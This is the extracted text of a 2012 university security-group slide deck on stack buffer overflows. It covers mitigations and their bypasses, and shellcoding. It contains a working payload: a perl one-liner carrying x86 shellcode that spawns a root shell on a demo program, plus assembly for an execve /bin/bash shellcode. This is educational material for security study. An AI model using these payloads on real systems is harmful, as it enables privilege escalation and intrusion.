79
Smashing the Stack Cesena Security Network and Applications University of Bologna, Scuola di Ingegneria ed Architettura Ingegneria Informatica Scienze e Tecnologie dell’Informazione Ingegneria e Scienze Informatiche December 17, 2012

Smashing thestack

Embed Size (px)

DESCRIPTION

Authors: Giacomo Mantani, Luca Ricci, Luca Mella, Daniele Bellavista (CeSeNA Security)

Citation preview

Page 1: Smashing thestack

Smashing the Stack

Cesena Security Network and Applications

University of Bologna, Scuola di Ingegneria ed ArchitetturaIngegneria Informatica Scienze e Tecnologie dell’Informazione Ingegneria e Scienze

Informatiche

December 17, 2012

Page 2: Smashing thestack

Outline

1 IntroductionSmash the stackA brief time lineProcess MemoryStack Frame

2 Buffer OverflowsUnsafe functionsBasic OverflowHeap-based OverflowStack-based Overflow

3 SecurityProgramming LanguagesStack CookiesASLR

DEP

4 Mitigations BypassMultiple Input and Static AreasNOP SledgeJMP2RegisterException HandlerRet2libcROP

5 ShellcodingSyscallsData referenceZero-bytes problem

6 Exercise

7 References

(CeSeNA) December 17, 2012 2 / 72

Page 3: Smashing thestack

Introduction

Outline

1 IntroductionSmash the stackA brief time lineProcess MemoryStack Frame

2 Buffer OverflowsUnsafe functionsBasic OverflowHeap-based OverflowStack-based Overflow

3 SecurityProgramming LanguagesStack CookiesASLR

DEP

4 Mitigations BypassMultiple Input and Static AreasNOP SledgeJMP2RegisterException HandlerRet2libcROP

5 ShellcodingSyscallsData referenceZero-bytes problem

6 Exercise

7 References

(CeSeNA) December 17, 2012 3 / 72

Page 4: Smashing thestack

Introduction

Introduction I

Acknowledgement

A special thanks to CeSeNA Security group and Marco Ramilli our “old”mentor...

(CeSeNA) December 17, 2012 3 / 72

Page 5: Smashing thestack

Introduction Smash the stack

Smash the stack I

Smash The Stack [C programming] n.

On many C implementations it is possible to corrupt the execution stackby writing past the end of an array declared auto in a routine.Code that does this is said to smash the stack, and can cause return fromthe routine to jump to a random address.This can produce some of the most insidious data-dependent bugs knownto mankind.

(CeSeNA) December 17, 2012 4 / 72

Page 6: Smashing thestack

Introduction A brief time line

A brief time line I

The fist document Overflow Attack (Air Force) - 31/10/1972

“By supplying addresses outside the space allocated to the users programs,it is often possible to get the monitor to obtain unauthorized data for thatuser, or at the very least, generate a set of conditions in the monitor thatcauses a system crash.”

(CeSeNA) December 17, 2012 5 / 72

Page 7: Smashing thestack

Introduction A brief time line

A brief time line II

The morris Worm - 2/11/1988

Robert Tappan Morris (Jr.) wrote and released this while still a student atCornell University. Aside from being the first computer worm to bedistributed via the Internet, the worm was the public’s introduction to“Buffer Overflow Attacks”, as one of the worms attack vectors was aclassic stack smash against the fingerd daemon.In his analysis of the worm, Eugene Spafford writes the following:“The bug exploited to break fingerd involved overrunning the buffer thedaemon used for input. . . .The idea of using buffer overflow to inject code into a program and causeit to jump to that code occurred to me while reading fingerd.c”

(CeSeNA) December 17, 2012 6 / 72

Page 8: Smashing thestack

Introduction A brief time line

A brief time line III

How to Write Buffer Overflow 20/10/1995

by Peiter Zatko (mudge)“. . .The ’Segmentation fault (core dumped)’ is what we wanted to see.This tells us there is definitely an attempt to access some memory addressthat we shouldn’t. If you do much in ’C’ with pointers on a unix machineyou have probably seen this (or Bus error) when pointing or dereferencingincorrectly.. . . ”

Smashing The Stack For Fun And Profit 8/11/1996

by Elias Levy (Aleph1)One of the best article about BoF.

(CeSeNA) December 17, 2012 7 / 72

Page 9: Smashing thestack

Introduction Process Memory

Process Memory I

Buffers, Memory and Process

To understand what stack buffers are we must first understand how aprogram and process are organized.

I Program layout is divided in sections like:

.text, where program instruction are stored

.data, where program data will be stored

.bss, where static vars are allocated

.stack, where stack frames live

I These sections are typically mapped in memory segments, so theyhave associated RWX permissions.

(CeSeNA) December 17, 2012 8 / 72

Page 10: Smashing thestack

Introduction Process Memory

Process Memory II

.text

The text region is fixed by the program and includes code (instructions)and read-only data. This region corresponds to the text section of theexecutable file. This region is normally marked read-only and any attemptto write to it will result in a segmentation violation.

.data .bss

The data region contains initialized and uninitialized data. Static variablesare stored in this region. The data region corresponds to the data-bsssections of the executable file. Its size can be changed with the brk(2)system call. If the expansion of the bss-data or the user stack exhaustsavailable memory, the process is blocked and is rescheduled to run againwith a larger memory space.New memory is added between the data and stack segments.

(CeSeNA) December 17, 2012 9 / 72

Page 11: Smashing thestack

Introduction Process Memory

Process Memory III

/------------------\ higher

| | memory

| Stack | addresses

|------------------|

| (Uninitialized) |

| Data |

| (Initialized) |

|------------------|

| Text | lower

| | memory

\------------------/ addresses

(CeSeNA) December 17, 2012 10 / 72

Page 12: Smashing thestack

Introduction Stack Frame

Stack Frame I

I The stack consists of logical stack frames that are pushed whencalling a function and popped when returning. A stack frame containsthe parameters to a function, its local variables, and the datanecessary to recover the previous stack frame, including the value ofthe instruction pointer at the time of the function call.

I Depending on the implementation the stack will either grow down(towards lower memory addresses), or up. The stack pointer is alsoimplementation dependent. It may point to the last address on thestack, or to the next free available address after the stack.

I In addition to the stack pointer, which points to the top of the stack,it is often convenient to have a frame pointer which points to a fixedlocation within a frame. Some texts also refer to it as a local basepointer.

(CeSeNA) December 17, 2012 11 / 72

Page 13: Smashing thestack

Introduction Stack Frame

Stack Frame II

Stack

In x86 architecture stack grows in opposite direction w.r.t. memoryaddresses. Also two registers are dedicated for stack management.

EBP/RBP , points to the base of the stack-frame (higher address)

EIP/RIP , points to the top of the stack-frame (lower address)

(CeSeNA) December 17, 2012 12 / 72

Page 14: Smashing thestack

Introduction Stack Frame

Stack Frame III

Stack Frame

Logical stack frames that are pushed when calling a function and poppedwhen returning.A stack frame contains:

I Parameters passed to the called function (depends on callingconvention, not true for linux64)

I Data necessary to recover the previous stack frame, includingvalue of the instruction pointer at the time of the function call.

I Local variables

(CeSeNA) December 17, 2012 13 / 72

Page 15: Smashing thestack

Introduction Stack Frame

Stack Frame IV

Figure : Stack frame (ia32 - AT&T notation)

Call Prologue and Epilogue

1 ; params p a s s i n g ∗2 c a l l fun ; i t push EIP /RIP3 push EBP4 mov EBP , ESP5 sub ESP,<param−space>

1 mov ESP , EBP2 pop EBP ; r e s t o r e o l d EBP/RBP3 r e t ; pop EIP /RIP

(CeSeNA) December 17, 2012 14 / 72

Page 16: Smashing thestack

Buffer Overflows

Outline

1 IntroductionSmash the stackA brief time lineProcess MemoryStack Frame

2 Buffer OverflowsUnsafe functionsBasic OverflowHeap-based OverflowStack-based Overflow

3 SecurityProgramming LanguagesStack CookiesASLR

DEP

4 Mitigations BypassMultiple Input and Static AreasNOP SledgeJMP2RegisterException HandlerRet2libcROP

5 ShellcodingSyscallsData referenceZero-bytes problem

6 Exercise

7 References

(CeSeNA) December 17, 2012 15 / 72

Page 17: Smashing thestack

Buffer Overflows

What is BOF? I

Figure : BOF segmentation fault

(CeSeNA) December 17, 2012 15 / 72

Page 18: Smashing thestack

Buffer Overflows

What is BOF? II

Also known as

user$ ./note AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Segmentation fault

(CeSeNA) December 17, 2012 16 / 72

Page 19: Smashing thestack

Buffer Overflows

How to use BOF? I

Figure : BOF whoami: root

(CeSeNA) December 17, 2012 17 / 72

Page 20: Smashing thestack

Buffer Overflows

How to use BOF? II

Also known as

user$ ./note ‘perl -e ’printf("\x90" x 153 .

"\x31\xdb\x31\xc9\x31\xc0\xb0\xcb\xcd\x80\x31\xc0\x50

\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50

\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x31\xdb\xb0\x01

\xcd\x80" . "\x90" x 22 . "\xef\xbe\xad\xde")’‘

sh-3.1# whoami

root

(CeSeNA) December 17, 2012 18 / 72

Page 21: Smashing thestack

Buffer Overflows Unsafe functions

Unsafe functions I

Unsafe C functions

I gets(): replace it with fgets() or gets s()

I strcpy(): replace it with strncpy() or strlcpy()

I strcat(): replace it with strncat() or strlcat()

I sprintf(): replace it with snprintf()

I printf(): improper use of it can lead to exploitation, never call it withvariable char* instead of constant char*.

Essentially, every C functions that don’t check the size of the destinationbuffers

(CeSeNA) December 17, 2012 19 / 72

Page 22: Smashing thestack

Buffer Overflows Basic Overflow

Basic Overflow IIn the following example, a program has defined two data items which areadjacent in memory: an 8-byte-long string buffer, A, and a two-byteinteger (short), B. Initially, A contains nothing but zero bytes, and Bcontains the number 1979. Characters are one byte wide.

1 c h a r A [ 8 ] = {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0} ;2 s h o r t B = 1 9 7 9 ;

Figure : A and B variables initial state

(CeSeNA) December 17, 2012 20 / 72

Page 23: Smashing thestack

Buffer Overflows Basic Overflow

Basic Overflow IINow, the program attempts to store the null-terminated string ”excessive”in the A buffer. ”excessive” is 9 characters long, and A can take 8characters. By failing to check the length of the string, it overwrites thevalue of B

1 g e t s (A) ;

Figure : A and B variables final state

(CeSeNA) December 17, 2012 21 / 72

Page 24: Smashing thestack

Buffer Overflows Heap-based Overflow

Heap-based Overflow I

Heap-based overflow is a type of buffer overflow that occurs in the heapdata area. Memory on the heap is dynamically allocated by the applicationat run-time and typically contains program data.

Exploitation is performed bycorrupting this data in specificways to cause the application tooverwrite internal structures suchas linked list pointers.The canonical heap overflowtechnique overwrites dynamicmemory allocation linkage (such asmalloc meta data) and uses theresulting pointer exchange tooverwrite a program functionpointer.

(CeSeNA) December 17, 2012 22 / 72

Page 25: Smashing thestack

Buffer Overflows Stack-based Overflow

Stack-based Overflow I

Stack-based buffer overflows manipulate the program to their advantage inone of several ways:

I By overwriting a local variable that is near the buffer in memory onthe stack to change the behaviour of the program which may benefitthe attacker.

I By overwriting a function pointer, or exception handler, which issubsequently executed.

I By overwriting the return address in a stack frame. Once the functionreturns, execution will resume at the return address as specified bythe attacker, usually a user input filled buffer.

(CeSeNA) December 17, 2012 23 / 72

Page 26: Smashing thestack

Buffer Overflows Stack-based Overflow

Stack-based Overflow II

./note ”This is my sixth note”

Memory: addNote(): 80484f9,

main(): 80484b4, buffer:bffff454,

n_ebp: bffff528, n_esp: bffff450,

m_ebp: bffff538, m_esp: bffff534

address hex val string val

n_esp > bffff450: bffff450 ? ? ? P

buffer> bffff454: 73696854 s i h T

bffff458: 20736920 s i

bffff45c: 7320796d s y m

bffff460: 68747869 h t x i

bffff464: 746f6e20 t o n

bffff468: b7fc0065 ? ? e

... ... ...

bffff510: 00000000

bffff514: 00000000

endBuf> bffff518: bffff538 ? ? ? 8

bffff51c: 080487fb ? ?

bffff520: b7fcaffc ? ? ? ?

bffff524: 0804a008 ?

n_ebp > bffff528: bffff538 ? ? ? 8

n_ret > bffff52c: 080484ee ? ?

bffff530: bffff709 ? ? ?

m_esp > bffff534: b8000ce0 ? ?

m_ebp > bffff538: bffff598 ? ? ? ?

m_ret > bffff53c: b7eb4e14 ? ? N

bffff540: 00000002

./note AAAAAAAAAAAAAAAA...

Memory: addNote(): 80484f9

main(): 80484b4, buffer:bffff314

n_ebp: bffff3e8, n_esp: bffff310

m_ebp: bffff3f8, m_esp: bffff3f4

address hex val string val

n_esp > bffff310: bffff310 ? ? ?

buffer> bffff314: 41414141 A A A A

bffff318: 41414141 A A A A

bffff31c: 41414141 A A A A

bffff320: 41414141 A A A A

bffff324: 41414141 A A A A

bffff328: 41414141 A A A A

... ... ...

bffff3d0: 41414141 A A A A

bffff3d4: 41414141 A A A A

endBuf> bffff3d8: 41414141 A A A A

bffff3dc: 41414141 A A A A

bffff3e0: 41414141 A A A A

bffff3e4: 0804a008 ?

n_ebp > bffff3e8: 41414141 A A A A

n_ret > bffff3ec: 41414141 A A A A

bffff3f0: 41414141 A A A A

m_esp > bffff3f4: 41414141 A A A A

m_ebp > bffff3f8: 41414141 A A A A

m_ret > bffff3fc: 41414141 A A A A

bffff400: 41414141 A A A A

Segmentation fault(CeSeNA) December 17, 2012 24 / 72

Page 27: Smashing thestack

Buffer Overflows Stack-based Overflow

Stack-based Overflow III

Overwriting the return address

Memory: addNote(): 80484f9,

main(): 80484b4, buffer:bffff384

n_ebp: bffff458, n_esp: bffff380

m_ebp: bffff468, m_esp: bffff464

address hex val string val

n_esp > bffff380: bffff380 ? ? ? ?

buffer> bffff384: 90909090 ? ? ? ?

bffff388: 90909090 ? ? ? ?

... ... ...

bffff418: 90909090 ? ? ? ?

bffff41c: 31db3190 1 ? 1 ?

bffff420: b0c031c9 ? ? 1 ?

bffff424: 3180cdcb 1 ? ? ?

bffff428: 2f6850c0 / h P ?

bffff42c: 6868732f h h s /

bffff430: 6e69622f n i b /

bffff434: 5350e389 S P ? ?

bffff438: d231e189 ? 1 ? ?

bffff43c: 80cd0bb0 ? ? ?

bffff440: 01b0db31 ? ? 1

bffff444: 909080cd ? ? ? ?

endBuf> bffff448: 90909090 ? ? ? ?

bffff44c: 90909090 ? ? ? ?

bffff450: 90909090 ? ? ? ?

bffff454: 0804a008 ?

n_ebp > bffff458: 90909090 ? ? ? ?

n_ret > bffff45c: bffff388 ? ? ? ?

bffff460: bffff600 ? ? ?

m_esp > bffff464: b8000ce0 ? ?

m_ebp > bffff468: bffff4c8 ? ? ? ?

m_ret > bffff46c: b7eb4e14 ? ? N

bffff470: 00000002

sh-3.1# whoami

root

sh-3.1# exit

(CeSeNA) December 17, 2012 25 / 72

Page 28: Smashing thestack

Security

Outline

1 IntroductionSmash the stackA brief time lineProcess MemoryStack Frame

2 Buffer OverflowsUnsafe functionsBasic OverflowHeap-based OverflowStack-based Overflow

3 SecurityProgramming LanguagesStack CookiesASLR

DEP

4 Mitigations BypassMultiple Input and Static AreasNOP SledgeJMP2RegisterException HandlerRet2libcROP

5 ShellcodingSyscallsData referenceZero-bytes problem

6 Exercise

7 References

(CeSeNA) December 17, 2012 26 / 72

Page 29: Smashing thestack

Security

Security Against Bofs

How to secure the stack?

I Various methods and techniques. . .

I . . . and various consideration.

I Which programming language?

I How to deal with legacy code?

I How to develop automatic protection?

(CeSeNA) December 17, 2012 26 / 72

Page 30: Smashing thestack

Security Programming Languages

Security: Programming Language

Do programming languages offer automatic stack protection?

C/C++ these languages don’t provide built-int protection, but offerstack-safe libraries (e.g. strcpy() =⇒ strncpy()).

Java/.NET/Perl/Python/Ruby/. . . all these languages provide anautomatic array bound check: no need for the programmerto care of it.

I According to www.tiobe.com C is the most used ProgrammingLanguage in 2012.

I Legacy code still exists: it can’t be rewritten!

I Operating systems and compilers should offer automatic protections.

(CeSeNA) December 17, 2012 27 / 72

Page 31: Smashing thestack

Security Stack Cookies

Security: Automatic stack smashing detection using stackcookies

An automatic protection introduced at compile time

I Random words (cookies) inserted into the stack during the functionprologue.

I Before returning, the function epilogue checks if those words areintact.

I If a stack smash occurs, cookie smashing is very likely to happen.

I If so, the process enters in a failure state (e.g. raising a SIGSEV).

(CeSeNA) December 17, 2012 28 / 72

Page 32: Smashing thestack

Security Stack Cookies

Security: StackGuard (1998)

A patch for older gcc

I “A simple compiler technique thatvirtually eliminates buffer overflowvulnerabilities with only modestperformance penalties” [3].

I It offers a method for detecting returnaddress changes in a portable andefficient way.

I StackGuard uses a random canary wordinserted before the return address. Thecallee, before returning, checks if thecanary word is unaltered.

(CeSeNA) December 17, 2012 29 / 72

Page 33: Smashing thestack

Security Stack Cookies

Security: Stack-Smashing Protector (2001)

An improved patch for gcc

I It uses a stack cookies (guard),to protect the base pointer.

I Relocate all arrays to the top ofthe stack in order to preventvariable corruption (B beforeC).

I Copies arguments into newvariables below the arrays,preventing argument corruption(A copied into C).

I SSP is used by default since gcc4.0 (2010), however somesystems (like Arch Linux) keepit disabled.

(CeSeNA) December 17, 2012 30 / 72

Page 34: Smashing thestack

Security Stack Cookies

Security: SSP examples

1 v o i d t e s t ( i n t (∗ f ) ( i n t ) , i n t z , c h a r ∗ buf ) {2 c h a r b u f f e r [ 6 4 ] ; i n t a = f ( z ) ;3 }

gcc -m32 -fno-stack-protector test.c

push ebpmov ebp , espsub esp , 0 x68mov eax , [ ebp+0xc ]mov [ esp ] , eaxmov eax , [ ebp+0x8 ]c a l l eaxmov [ ebp−0xc ] , eaxl e a v er e t

gcc -m32 -fstack-protector test.c

push ebpmov ebp , espsub esp , 0 x78mov eax , [ ebp+0x8 ]mov [ ebp−0x5c ] , eaxmov eax , [ ebp+0x10 ]mov [ ebp−0x60 ] , eaxmov eax , gs : 0 x14mov [ ebp−0xc ] , eaxx o r eax , eaxmov eax , [ ebp+0xc ]mov [ esp ] , eaxmov eax , [ ebp−0x5c ]c a l l eaxmov [ ebp−0x50 ] , eaxmov eax , [ ebp−0xc ]x o r eax , gs : 0 x14j e 8048458 <t e s t +0x3c>c a l l 80482 f 0 < s t a c k c h k f a i l @ p l t >l e a v er e t

(CeSeNA) December 17, 2012 31 / 72

Page 35: Smashing thestack

Security ASLR

Security: Address space layout randomization (∼ 2002)

A runtime kernel protection

I Using PIC (position independent code) techniques and kernel aid, it’spossible to change at every execution the position of stack, code andlibrary into the addressing space.

I Linux implements ASLR since 2.6.12. Linux ASLR changes the stackposition.

I Windows has ASLR enabled by default since Windows Vista andWindows Server 2008. Window ASLR changes stack, heap andProcess/Thread Environment Block position.

(CeSeNA) December 17, 2012 32 / 72

Page 36: Smashing thestack

Security ASLR

Security: ASLR example

$ sudo s y s c t l −w k e r n e l . r a n d o m i z e v a s p a c e=1$ f o r i i n { 1 . . 5 } ; do . / a s l r ; doneBP : 0 x 7 f f f e 0 3 e 4 9 d 0BP : 0 x 7 f f f 0 1 c d 4 4 a 0BP : 0 x 7 f f f 2 3 a c 2 4 5 0BP : 0 x 7 f f f a c c 7 2 f c 0BP : 0 x 7 f f f a 2 0 f c a 5 0$ sudo s y s c t l −w k e r n e l . r a n d o m i z e v a s p a c e=0$ f o r i i n { 1 . . 5 } ; do . / a s l r ; doneBP : 0 x 7 f f f f f f f e 7 5 0BP : 0 x 7 f f f f f f f e 7 5 0BP : 0 x 7 f f f f f f f e 7 5 0BP : 0 x 7 f f f f f f f e 7 5 0BP : 0 x 7 f f f f f f f e 7 5 0

(CeSeNA) December 17, 2012 33 / 72

Page 37: Smashing thestack

Security DEP

Security: Data Execution Prevention (∼ 2004)

Make a virtual page not executable

I Hardware support using the NX bit (Never eXecute) present inmodern 64-bit CPUs or 32-bit CPUs with PAE enabled.

I NX software emulation techniques for older CPUs.

I First implemented on Linux 2.6.8 and on MS Windows since XP SP2and Server 2003.

I Currently implemented by all OS (Linux, Mac OS X, iOS, MicrosoftWindows and Android).

(CeSeNA) December 17, 2012 34 / 72

Page 38: Smashing thestack

Mitigations Bypass

Outline

1 IntroductionSmash the stackA brief time lineProcess MemoryStack Frame

2 Buffer OverflowsUnsafe functionsBasic OverflowHeap-based OverflowStack-based Overflow

3 SecurityProgramming LanguagesStack CookiesASLR

DEP

4 Mitigations BypassMultiple Input and Static AreasNOP SledgeJMP2RegisterException HandlerRet2libcROP

5 ShellcodingSyscallsData referenceZero-bytes problem

6 Exercise

7 References

(CeSeNA) December 17, 2012 35 / 72

Page 39: Smashing thestack

Mitigations Bypass

Mitigations Bypass I

Are these mitigations enough??

Spoiler: NO.

ASLR bypass via multiple input, NOP sledge, jmp2reg, ROP . . .

DEP bypass via ret2libc, ROP . . .

Stack Cookie bypass via Exception Handler exploiting (and othertechniques which aren’t treated here: eg. Heap-Overflow. . . )

This section aims to provide a quick overview on more advanced stacksmashing.

(CeSeNA) December 17, 2012 35 / 72

Page 40: Smashing thestack

Mitigations Bypass Multiple Input and Static Areas

Multiple Input and Static Areas I

Actually, not everything is randomized. . .

Sections like .text or .bss (or some library memory space) are notrandomized by ALSR.

Expoit multiple input

If we can put our shellcode into a variable located in these memoryareas (eg. global var, static var, environment. . . ) then we should beable to correctly reference it.

Enforcing this kind of attack often require to provide multiple inputs(at least one in the stack and another in a not randomized place)

(CeSeNA) December 17, 2012 36 / 72

Page 41: Smashing thestack

Mitigations Bypass NOP Sledge

NOP Sledge I

What if randomization is not truly random?

- In certain ALSR implementation (for several reasons) randomizationmight present recurrent set of address.

- This enhance our chance to guess the right address, but it’s notenough

NOP sledge

- NOP (0x90) is the No OPeration instruction on x86 ISA

- Adding a long NOP prologue to our shellcode increase the validaddress range usable to jump to our shellcode.

(CeSeNA) December 17, 2012 37 / 72

Page 42: Smashing thestack

Mitigations Bypass NOP Sledge

NOP Sledge II

Figure : NOP Sledge role during stack smashing

(CeSeNA) December 17, 2012 38 / 72

Page 43: Smashing thestack

Mitigations Bypass JMP2Register

JMP2Register I

Changing scenario

- No static memory location

- No time to try to guess addresses

Try to think at how variables are referenced in Assembly. . . Var. addresscould be stored in a register

(CeSeNA) December 17, 2012 39 / 72

Page 44: Smashing thestack

Mitigations Bypass JMP2Register

JMP2Register II

Figure : Jmp2reg example with EBX register that contains an address of a stackmemory location (area under attacker control)

(CeSeNA) December 17, 2012 40 / 72

Page 45: Smashing thestack

Mitigations Bypass JMP2Register

JMP2Register III

What If no jmp reg ?

Same trick could be exploited with other statements:

I call reg

I push reg; ret

I jmp [reg + offset]

I pop; ret if desired address lay on stack (pop;pop;ret pop;pop;pop;retand so on)

(CeSeNA) December 17, 2012 41 / 72

Page 46: Smashing thestack

Mitigations Bypass Exception Handler

Exception Handler I

I As seen before some stack protection check if the stack as beensmashed before function return. So classic “overwrite EBP+4” doesnot work.

I Many languages support custom exception handling statement(eg.C++)

I May we execute our shellcode instead of user defined handler?

SEH based stack smashing

Generally depends on how compiler handle user define Exception Handlers,and in many case its possible (with gcc and VC++ both).

(CeSeNA) December 17, 2012 42 / 72

Page 47: Smashing thestack

Mitigations Bypass Exception Handler

Exception Handler II

Figure : Stack frame with SEH under Windows

(CeSeNA) December 17, 2012 43 / 72

Page 48: Smashing thestack

Mitigations Bypass Ret2libc

Ret2libc I

I Now we want to deal with DEP countermeasure.

I As you know no bytes in .data .stack .bss segments can be executed.

What about executing some library code?

libc function system(char*cmd) executes the command specified by thestring pointed by its parameter.May we craft the stack in a manner to simulate a function call withoutCALL?

(CeSeNA) December 17, 2012 44 / 72

Page 49: Smashing thestack

Mitigations Bypass Ret2libc

Ret2libc II

Figure : Ret2libc fashioned stack smashing, before ret (stdcall ia32)

(CeSeNA) December 17, 2012 45 / 72

Page 50: Smashing thestack

Mitigations Bypass Ret2libc

Ret2libc III

Figure : Ret2libc fashioned stack smashing, executing target function prologue(stdcall ia32)

(CeSeNA) December 17, 2012 46 / 72

Page 51: Smashing thestack

Mitigations Bypass ROP

ROP I

I What if we need to provide a system() parameter which is in arandomized memory area?

I Is there a way to do some computation without code injection?

Return Oriented Programming

Programming technique that borrow chunks of pre-existent code, controlflow is controlled by jumping to these “gadgets”.

Gadget

In ROP jargon a “gadget” is a collection of sequential instructions whichend with a RET (0xc3) (typically one or two instruction before RET).NOTE: x86 works with processors unaligned memory addresses, so we canfound lots of gadgets. . .

(CeSeNA) December 17, 2012 47 / 72

Page 52: Smashing thestack

Mitigations Bypass ROP

ROP II

How to program in ROP

I ESP works similar toEIP, like a gadgetpointer

I Putting gadget addresson stack enable us tosequentially executearbitrary chunks ofcodes.

I By controlling ESP wecould govern the ROPcontrol flow.

I Gadgets may not be what we exactlyneed (eg. mov eax,esp; ret), they couldcontain also undesired instruction (eg.mov eax,esp;push ebx;ret)

I If program is sufficiently large, ROPprogramming istypicallyTuring-Complete

I Manual ROP programming is quite amess. . . some ROP Compilers exists :)

(CeSeNA) December 17, 2012 48 / 72

Page 53: Smashing thestack

Mitigations Bypass ROP

ROP III

Figure : Stack during a ROP based stack smashing, try to figure out whathappens (ia32)

(CeSeNA) December 17, 2012 49 / 72

Page 54: Smashing thestack

Shellcoding

Outline

1 IntroductionSmash the stackA brief time lineProcess MemoryStack Frame

2 Buffer OverflowsUnsafe functionsBasic OverflowHeap-based OverflowStack-based Overflow

3 SecurityProgramming LanguagesStack CookiesASLR

DEP

4 Mitigations BypassMultiple Input and Static AreasNOP SledgeJMP2RegisterException HandlerRet2libcROP

5 ShellcodingSyscallsData referenceZero-bytes problem

6 Exercise

7 References

(CeSeNA) December 17, 2012 50 / 72

Page 55: Smashing thestack

Shellcoding

Shellcoding

BOF payload

I A buffer overflow exploitation ends with the execution of an arbitrarypayload.

I The payload is a sequence of machine code instructions.

I A common way to write shellcode is to use assembly language.

I Usually, the ultimate goal is to spawn a shell (hence shellcoding):

1 e x e c v e ( ”/ b i n / bash ” , [ ”/ b i n / bash ” ] , [ ] ) ;

(CeSeNA) December 17, 2012 50 / 72

Page 56: Smashing thestack

Shellcoding

Shellcoding: Creation steps

Assuming direct control

1 Invoke the execve syscall.

2 Refer the string “/bin/bash” and the argument array.

3 Optimize the payload.

4 Perform the buffer overflow.

1 e x e c v e ( ”/ b i n / bash ” , [ ”/ b i n / bash ” ] , [ ] ) ;

(CeSeNA) December 17, 2012 51 / 72

Page 57: Smashing thestack

Shellcoding

Shellcoding: Syscalls

Invoking a syscall

I Syscalls are invokable using a numerical id.

I Ids are defined into unistd 32.h for x86 systems and unistd 64.h forx86 64 systems.

I On x86 64 systems the assembler operation syscall execute the syscallidentified by rax.

I On x86 systems the assembler operation int 80h raises a softwareinterrupt, which leads to the execution of the syscall identified by eax.

1 ; e x i t ( 0 ) s y s c a l l2 mov r d i , 03 mov rax , 604 s y s c a l l

1 ; e x i t ( 0 ) s y s c a l l2 mov ebx , 03 mov eax , 14 i n t 80h

(CeSeNA) December 17, 2012 52 / 72

Page 58: Smashing thestack

Shellcoding

Shellcoding: The execve syscall1 u n i s t d 3 2 . h2 #d e f i n e N R e x e c v e 113 u n i s t d 6 4 . h4 #d e f i n e N R e x e c v e 595 s y s c a l l . h6 i n t k e r n e l e x e c v e ( c o n s t c h a r ∗ f i l e n a m e ,7 c o n s t c h a r ∗ c o n s t a r g v [ ] ,8 c o n s t c h a r ∗ c o n s t envp [ ] ) ;

man 2 execve

I execve() executes the program pointed to by filename.I argv is an array of argument strings passed to the new program. By

convention, the first of these strings should contain the filename.I envp is an array of strings, conventionally of the form key=value.I Both argv and envp must be terminated by a NULL pointer.I On Linux, argv [or envp] can be specified as NULL, which has the

same effect as specifying this argument as a pointer to a listcontaining a single NULL pointer.

1 e x e c v e ( ”/ b i n / bash ” , [ ”/ b i n / bash ” , NULL ] , NULL) ;

(CeSeNA) December 17, 2012 53 / 72

Page 59: Smashing thestack

Shellcoding

Shellcoding: Syscall and parameter passing

How to pass parameters?

I Use the calling convention for syscalls!

x86 64 rdi, rsi, rdx, r10, r8 and r9.x86 ebx, ecx, edx, esi, edi and ebp.

I Other parameters go into the stack.

I execve parameters:

x86 64 rdi =⇒ ”/bin/bash”rsi =⇒ [”/bin/bash”,NULL]rdx =⇒ NULL

x86 ebx =⇒ ”/bin/bash”ecx =⇒ [”/bin/bash”,NULL]edx =⇒ NULL

(CeSeNA) December 17, 2012 54 / 72

Page 60: Smashing thestack

Shellcoding

Shellcoding: Data reference I

The reference problem

I The shellcode must know the reference of “/bin/bash”, argv and env.

I The shellcode is not compiled with the program it’s intended to run:it must be designed as a Position Independent Code, i.e. theshellcode can’t use absolute reference.

I Therefore you must use relative addressing, but before IA-64 it wasnot possible.

1 f i l e n a m e db ’ / b i n / bash ’ ,02 ; What w i l l be th e a d d r e s s o f f i l e n a m e i n any program?3 mov r d i , ?

(CeSeNA) December 17, 2012 55 / 72

Page 61: Smashing thestack

Shellcoding

Shellcoding: Data reference II

Old IA-32 way

I You use a trick: jmp just before the data location, then do a call.

I The call Instruction pushes the next instruction pointer onto thestack, which is equal to the “/bin/bash” address.

1 jmp f i l e n a m e2 run :3 pop ebx ; ebx now c o n t a i n s ”/ b i n / bash ” r e f e r e n c e4 ; . . .5 f i l e n a m e :6 c a l l run7 db ’ / b i n / bash ’ ,0

(CeSeNA) December 17, 2012 56 / 72

Page 62: Smashing thestack

Shellcoding

Shellcoding: Data reference III

New IA-64 way

I IA-64 introduces the RIP relative addressing.

I [rel filename] becomes [rip + offset]

1 l e a r d i , [ r e l message ] ; now r d i c o n t a i n s2 ; the s t r i n g r e f e r e n c e3 ; . . .4

5 f i l e n a m e db ’ / b i n / bash ’ ,0

(CeSeNA) December 17, 2012 57 / 72

Page 63: Smashing thestack

Shellcoding

Shellcoding: Data reference IV

Generic Way

I You can push the string in hex format into the stack.

I The stack pointer is then the string reference.

1 push 0 x00000068 ; 0x00 , ’ h ’2 push 0 x7361622f ; ’ sab / ’3 push 0 x6e69622f ; ’ n i b / ’4 mov ebx , esp ; now ebx c o n t a i n s th e s t r i n g r e f e r e n c e5 ; . . .

(CeSeNA) December 17, 2012 58 / 72

Page 64: Smashing thestack

Shellcoding

Shellcode: first attempt I

1 b i t s 642

3 l e a r d i , [ r e l f i l e n a m e ] ; f i l e n a m e4 l e a r s i , [ r e l a r g s ] ; a r g v5 mov rdx , 0 ; envp6

7 mov [ r e l a r g s ] , r d i ; a r g v [ 0 ] <− f i l e n a m e8 mov [ r e l a r g s +8] , r d x ; a r g v [ 1 ] <− n u l l9

10 mov rax , 5911 s y s c a l l12

13 f i l e n a m e db ’ / b i n / bash ’ ,014 a r g s db 16

(CeSeNA) December 17, 2012 59 / 72

Page 65: Smashing thestack

Shellcoding

Shellcode: first attempt II

